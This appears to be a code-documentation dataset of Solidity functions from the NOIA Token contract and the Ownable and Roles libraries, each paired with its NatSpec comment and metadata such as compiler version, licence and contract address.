@param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function hashForSign( bytes4 _selector, address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce)); } }
transfer
function transfer(address to, uint256 value) public returns (bool) { bool success = super.transfer(to, value); if (success) { _postTransfer(msg.sender, to, value); } return success; }
/** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1384, 1626 ] }
7,089
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
NOIAToken
contract NOIAToken is TokenRecoverable, ERC20 { using SafeMath for uint256; using Address for address; using ECDSA for bytes32; string public constant name = "NOIA Token"; string public constant symbol = "NOIA"; uint8 public constant decimals = uint8(18); uint256 public tokensToMint = 1000000000e18; // 1 000 000 000 tokens address public burnAddress; mapping(address => bool) public notify; mapping(bytes32 => bool) private hashedTxs; bool public etherlessTransferEnabled = true; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); modifier onlyEtherlessTransferEnabled { require(etherlessTransferEnabled == true, "Etherless transfer functionality disabled"); _; } function register() public { notify[msg.sender] = true; } function unregister() public { notify[msg.sender] = false; } function enableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = true; } function disableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = false; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { bool success = super.transfer(to, value); if (success) { _postTransfer(msg.sender, to, value); } return success; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { bool success = super.transferFrom(from, to, value); if (success) { _postTransfer(from, to, value); } return success; } function _postTransfer(address from, address to, uint256 value) internal { if (to.isContract()) { if (notify[to] == false) return; ITokenReceiver(to).tokensReceived(from, to, value); } else { if (to == burnAddress) { _burn(burnAddress, value); } } } function _burn(address account, uint256 value) internal { require(tokensToMint == 0, "All tokens must be minted before burning"); super._burn(account, value); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyOwner returns (bool) { require(tokensToMint.sub(value) >= 0, "Not enough tokens left"); tokensToMint = tokensToMint.sub(value); _mint(to, value); _postTransfer(address(0), to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { require(msg.sender == burnAddress, "Only burnAddress can burn tokens"); _burn(msg.sender, value); } function setBurnAddress(address _burnAddress) external onlyOwner { require(balanceOf(_burnAddress) == 0, "Burn address must have zero balance!"); burnAddress = _burnAddress; } /** Etherless Transfer */ /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. Should be unique, per user. */ function transferPreSigned( bytes memory _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyEtherlessTransferEnabled returns (bool) { require(_to != address(0), "Transfer to the zero address"); bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce); address from = hashedParams.toEthSignedMessageHash().recover(_signature); require(from != address(0), "Invalid signature"); bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams)); require(hashedTxs[hashedTx] == false, "Nonce already used"); hashedTxs[hashedTx] = true; if (msg.sender == _to) { _transfer(from, _to, _value.add(_fee)); _postTransfer(from, _to, _value.add(_fee)); } else { _transfer(from, _to, _value); _postTransfer(from, _to, _value); _transfer(from, msg.sender, _fee); _postTransfer(from, msg.sender, _fee); } emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function hashForSign( bytes4 _selector, address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce)); } }
transferFrom
function transferFrom(address from, address to, uint256 value) public returns (bool) { bool success = super.transferFrom(from, to, value); if (success) { _postTransfer(from, to, value); } return success; }
/** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 2094, 2358 ] }
7,090
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
NOIAToken
contract NOIAToken is TokenRecoverable, ERC20 { using SafeMath for uint256; using Address for address; using ECDSA for bytes32; string public constant name = "NOIA Token"; string public constant symbol = "NOIA"; uint8 public constant decimals = uint8(18); uint256 public tokensToMint = 1000000000e18; // 1 000 000 000 tokens address public burnAddress; mapping(address => bool) public notify; mapping(bytes32 => bool) private hashedTxs; bool public etherlessTransferEnabled = true; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); modifier onlyEtherlessTransferEnabled { require(etherlessTransferEnabled == true, "Etherless transfer functionality disabled"); _; } function register() public { notify[msg.sender] = true; } function unregister() public { notify[msg.sender] = false; } function enableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = true; } function disableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = false; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { bool success = super.transfer(to, value); if (success) { _postTransfer(msg.sender, to, value); } return success; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { bool success = super.transferFrom(from, to, value); if (success) { _postTransfer(from, to, value); } return success; } function _postTransfer(address from, address to, uint256 value) internal { if (to.isContract()) { if (notify[to] == false) return; ITokenReceiver(to).tokensReceived(from, to, value); } else { if (to == burnAddress) { _burn(burnAddress, value); } } } function _burn(address account, uint256 value) internal { require(tokensToMint == 0, "All tokens must be minted before burning"); super._burn(account, value); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyOwner returns (bool) { require(tokensToMint.sub(value) >= 0, "Not enough tokens left"); tokensToMint = tokensToMint.sub(value); _mint(to, value); _postTransfer(address(0), to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { require(msg.sender == burnAddress, "Only burnAddress can burn tokens"); _burn(msg.sender, value); } function setBurnAddress(address _burnAddress) external onlyOwner { require(balanceOf(_burnAddress) == 0, "Burn address must have zero balance!"); burnAddress = _burnAddress; } /** Etherless Transfer */ /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. Should be unique, per user. */ function transferPreSigned( bytes memory _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyEtherlessTransferEnabled returns (bool) { require(_to != address(0), "Transfer to the zero address"); bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce); address from = hashedParams.toEthSignedMessageHash().recover(_signature); require(from != address(0), "Invalid signature"); bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams)); require(hashedTxs[hashedTx] == false, "Nonce already used"); hashedTxs[hashedTx] = true; if (msg.sender == _to) { _transfer(from, _to, _value.add(_fee)); _postTransfer(from, _to, _value.add(_fee)); } else { _transfer(from, _to, _value); _postTransfer(from, _to, _value); _transfer(from, msg.sender, _fee); _postTransfer(from, msg.sender, _fee); } emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function hashForSign( bytes4 _selector, address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce)); } }
mint
function mint(address to, uint256 value) public onlyOwner returns (bool) { require(tokensToMint.sub(value) >= 0, "Not enough tokens left"); tokensToMint = tokensToMint.sub(value); _mint(to, value); _postTransfer(address(0), to, value); return true; }
/** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 3159, 3464 ] }
7,091
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
NOIAToken
contract NOIAToken is TokenRecoverable, ERC20 { using SafeMath for uint256; using Address for address; using ECDSA for bytes32; string public constant name = "NOIA Token"; string public constant symbol = "NOIA"; uint8 public constant decimals = uint8(18); uint256 public tokensToMint = 1000000000e18; // 1 000 000 000 tokens address public burnAddress; mapping(address => bool) public notify; mapping(bytes32 => bool) private hashedTxs; bool public etherlessTransferEnabled = true; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); modifier onlyEtherlessTransferEnabled { require(etherlessTransferEnabled == true, "Etherless transfer functionality disabled"); _; } function register() public { notify[msg.sender] = true; } function unregister() public { notify[msg.sender] = false; } function enableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = true; } function disableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = false; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { bool success = super.transfer(to, value); if (success) { _postTransfer(msg.sender, to, value); } return success; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { bool success = super.transferFrom(from, to, value); if (success) { _postTransfer(from, to, value); } return success; } function _postTransfer(address from, address to, uint256 value) internal { if (to.isContract()) { if (notify[to] == false) return; ITokenReceiver(to).tokensReceived(from, to, value); } else { if (to == burnAddress) { _burn(burnAddress, value); } } } function _burn(address account, uint256 value) internal { require(tokensToMint == 0, "All tokens must be minted before burning"); super._burn(account, value); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyOwner returns (bool) { require(tokensToMint.sub(value) >= 0, "Not enough tokens left"); tokensToMint = tokensToMint.sub(value); _mint(to, value); _postTransfer(address(0), to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { require(msg.sender == burnAddress, "Only burnAddress can burn tokens"); _burn(msg.sender, value); } function setBurnAddress(address _burnAddress) external onlyOwner { require(balanceOf(_burnAddress) == 0, "Burn address must have zero balance!"); burnAddress = _burnAddress; } /** Etherless Transfer */ /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. Should be unique, per user. */ function transferPreSigned( bytes memory _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyEtherlessTransferEnabled returns (bool) { require(_to != address(0), "Transfer to the zero address"); bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce); address from = hashedParams.toEthSignedMessageHash().recover(_signature); require(from != address(0), "Invalid signature"); bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams)); require(hashedTxs[hashedTx] == false, "Nonce already used"); hashedTxs[hashedTx] = true; if (msg.sender == _to) { _transfer(from, _to, _value.add(_fee)); _postTransfer(from, _to, _value.add(_fee)); } else { _transfer(from, _to, _value); _postTransfer(from, _to, _value); _transfer(from, msg.sender, _fee); _postTransfer(from, msg.sender, _fee); } emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function hashForSign( bytes4 _selector, address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce)); } }
burn
function burn(uint256 value) public { require(msg.sender == burnAddress, "Only burnAddress can burn tokens"); _burn(msg.sender, value); }
/** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 3588, 3753 ] }
7,092
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
NOIAToken
contract NOIAToken is TokenRecoverable, ERC20 { using SafeMath for uint256; using Address for address; using ECDSA for bytes32; string public constant name = "NOIA Token"; string public constant symbol = "NOIA"; uint8 public constant decimals = uint8(18); uint256 public tokensToMint = 1000000000e18; // 1 000 000 000 tokens address public burnAddress; mapping(address => bool) public notify; mapping(bytes32 => bool) private hashedTxs; bool public etherlessTransferEnabled = true; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); modifier onlyEtherlessTransferEnabled { require(etherlessTransferEnabled == true, "Etherless transfer functionality disabled"); _; } function register() public { notify[msg.sender] = true; } function unregister() public { notify[msg.sender] = false; } function enableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = true; } function disableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = false; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { bool success = super.transfer(to, value); if (success) { _postTransfer(msg.sender, to, value); } return success; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { bool success = super.transferFrom(from, to, value); if (success) { _postTransfer(from, to, value); } return success; } function _postTransfer(address from, address to, uint256 value) internal { if (to.isContract()) { if (notify[to] == false) return; ITokenReceiver(to).tokensReceived(from, to, value); } else { if (to == burnAddress) { _burn(burnAddress, value); } } } function _burn(address account, uint256 value) internal { require(tokensToMint == 0, "All tokens must be minted before burning"); super._burn(account, value); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyOwner returns (bool) { require(tokensToMint.sub(value) >= 0, "Not enough tokens left"); tokensToMint = tokensToMint.sub(value); _mint(to, value); _postTransfer(address(0), to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { require(msg.sender == burnAddress, "Only burnAddress can burn tokens"); _burn(msg.sender, value); } function setBurnAddress(address _burnAddress) external onlyOwner { require(balanceOf(_burnAddress) == 0, "Burn address must have zero balance!"); burnAddress = _burnAddress; } /** Etherless Transfer */ /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. Should be unique, per user. */ function transferPreSigned( bytes memory _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyEtherlessTransferEnabled returns (bool) { require(_to != address(0), "Transfer to the zero address"); bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce); address from = hashedParams.toEthSignedMessageHash().recover(_signature); require(from != address(0), "Invalid signature"); bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams)); require(hashedTxs[hashedTx] == false, "Nonce already used"); hashedTxs[hashedTx] = true; if (msg.sender == _to) { _transfer(from, _to, _value.add(_fee)); _postTransfer(from, _to, _value.add(_fee)); } else { _transfer(from, _to, _value); _postTransfer(from, _to, _value); _transfer(from, msg.sender, _fee); _postTransfer(from, msg.sender, _fee); } emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function hashForSign( bytes4 _selector, address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce)); } }
transferPreSigned
function transferPreSigned( bytes memory _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyEtherlessTransferEnabled returns (bool) { require(_to != address(0), "Transfer to the zero address"); bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce); address from = hashedParams.toEthSignedMessageHash().recover(_signature); require(from != address(0), "Invalid signature"); bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams)); require(hashedTxs[hashedTx] == false, "Nonce already used"); hashedTxs[hashedTx] = true; if (msg.sender == _to) { _transfer(from, _to, _value.add(_fee)); _postTransfer(from, _to, _value.add(_fee)); } else { _transfer(from, _to, _value); _postTransfer(from, _to, _value); _transfer(from, msg.sender, _fee); _postTransfer(from, msg.sender, _fee); } emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; }
/** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. Should be unique, per user. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 4436, 5649 ] }
7,093
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
NOIAToken
contract NOIAToken is TokenRecoverable, ERC20 { using SafeMath for uint256; using Address for address; using ECDSA for bytes32; string public constant name = "NOIA Token"; string public constant symbol = "NOIA"; uint8 public constant decimals = uint8(18); uint256 public tokensToMint = 1000000000e18; // 1 000 000 000 tokens address public burnAddress; mapping(address => bool) public notify; mapping(bytes32 => bool) private hashedTxs; bool public etherlessTransferEnabled = true; event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee); modifier onlyEtherlessTransferEnabled { require(etherlessTransferEnabled == true, "Etherless transfer functionality disabled"); _; } function register() public { notify[msg.sender] = true; } function unregister() public { notify[msg.sender] = false; } function enableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = true; } function disableEtherlessTransfer() public onlyOwner { etherlessTransferEnabled = false; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { bool success = super.transfer(to, value); if (success) { _postTransfer(msg.sender, to, value); } return success; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { bool success = super.transferFrom(from, to, value); if (success) { _postTransfer(from, to, value); } return success; } function _postTransfer(address from, address to, uint256 value) internal { if (to.isContract()) { if (notify[to] == false) return; ITokenReceiver(to).tokensReceived(from, to, value); } else { if (to == burnAddress) { _burn(burnAddress, value); } } } function _burn(address account, uint256 value) internal { require(tokensToMint == 0, "All tokens must be minted before burning"); super._burn(account, value); } /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyOwner returns (bool) { require(tokensToMint.sub(value) >= 0, "Not enough tokens left"); tokensToMint = tokensToMint.sub(value); _mint(to, value); _postTransfer(address(0), to, value); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { require(msg.sender == burnAddress, "Only burnAddress can burn tokens"); _burn(msg.sender, value); } function setBurnAddress(address _burnAddress) external onlyOwner { require(balanceOf(_burnAddress) == 0, "Burn address must have zero balance!"); burnAddress = _burnAddress; } /** Etherless Transfer */ /** * @notice Submit a presigned transfer * @param _signature bytes The signature, issued by the owner. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. Should be unique, per user. */ function transferPreSigned( bytes memory _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public onlyEtherlessTransferEnabled returns (bool) { require(_to != address(0), "Transfer to the zero address"); bytes32 hashedParams = hashForSign(msg.sig, address(this), _to, _value, _fee, _nonce); address from = hashedParams.toEthSignedMessageHash().recover(_signature); require(from != address(0), "Invalid signature"); bytes32 hashedTx = keccak256(abi.encodePacked(from, hashedParams)); require(hashedTxs[hashedTx] == false, "Nonce already used"); hashedTxs[hashedTx] = true; if (msg.sender == _to) { _transfer(from, _to, _value.add(_fee)); _postTransfer(from, _to, _value.add(_fee)); } else { _transfer(from, _to, _value); _postTransfer(from, _to, _value); _transfer(from, msg.sender, _fee); _postTransfer(from, msg.sender, _fee); } emit TransferPreSigned(from, _to, msg.sender, _value, _fee); return true; } /** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */ function hashForSign( bytes4 _selector, address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce)); } }
hashForSign
function hashForSign( bytes4 _selector, address _token, address _to, uint256 _value, uint256 _fee, uint256 _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_selector, _token, _to, _value, _fee, _nonce)); }
/** * @notice Hash (keccak256) of the payload used by transferPreSigned * @param _token address The address of the token. * @param _to address The address which you want to transfer to. * @param _value uint256 The amount of tokens to be transferred. * @param _fee uint256 The amount of tokens paid to msg.sender, by the owner. * @param _nonce uint256 Presigned transaction number. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 6083, 6424 ] }
7,094
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
Ownable
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); }
/** * @dev Allows the current owner to relinquish control of the contract. */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 638, 755 ] }
7,095
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
Ownable
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 920, 1028 ] }
7,096
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
Ownable
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
_transferOwnership
function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; }
/** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 1166, 1344 ] }
7,097
USDT
USDT.sol
0x2be88f8b93d164936b776c5c6766441d193f23f7
Solidity
Roles
library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } }
/** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */
NatSpecMultiLine
add
function add(Role storage role, address addr) internal { role.bearer[addr] = true; }
/** * @dev give an address access to this role */
NatSpecMultiLine
v0.4.23+commit.124ca40d
None
bzzr://eed33e140d17ff18d31f71d6727fdc7d960e9ce28843d8ba5e8c8a25acfff25d
{ "func_code_index": [ 141, 244 ] }
7,098
USDT
USDT.sol
